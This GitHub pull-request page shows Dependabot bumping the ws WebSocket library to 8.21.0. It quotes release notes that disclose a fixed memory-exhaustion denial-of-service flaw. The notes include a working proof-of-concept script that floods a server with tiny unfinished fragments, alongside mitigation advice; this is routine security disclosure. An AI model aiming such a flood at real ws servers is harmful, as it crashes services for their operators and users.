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deps(deps): bump ws from 8.20.1 to 8.21.0#181

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deps(deps): bump ws from 8.20.1 to 8.21.0#181
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@dependabot dependabot Bot commented on behalf of github May 25, 2026

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Bumps ws from 8.20.1 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

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Bumps [ws](https://github.com/websockets/ws) from 8.20.1 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.20.1...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels May 25, 2026
@dependabot @github

dependabot Bot commented on behalf of github May 25, 2026

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Assignees

The following users could not be added as assignees: All-Hands-AI/core-team. Either the username does not exist or it does not have the correct permissions to be added as an assignee.

Please fix the above issues or remove invalid values from dependabot.yml.

@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels May 25, 2026
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dependabot Bot commented on behalf of github Jun 18, 2026

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Looks like ws is up-to-date now, so this is no longer needed.

@dependabot dependabot Bot closed this Jun 18, 2026
@dependabot dependabot Bot deleted the dependabot/npm_and_yarn/ws-8.21.0 branch June 18, 2026 19:22
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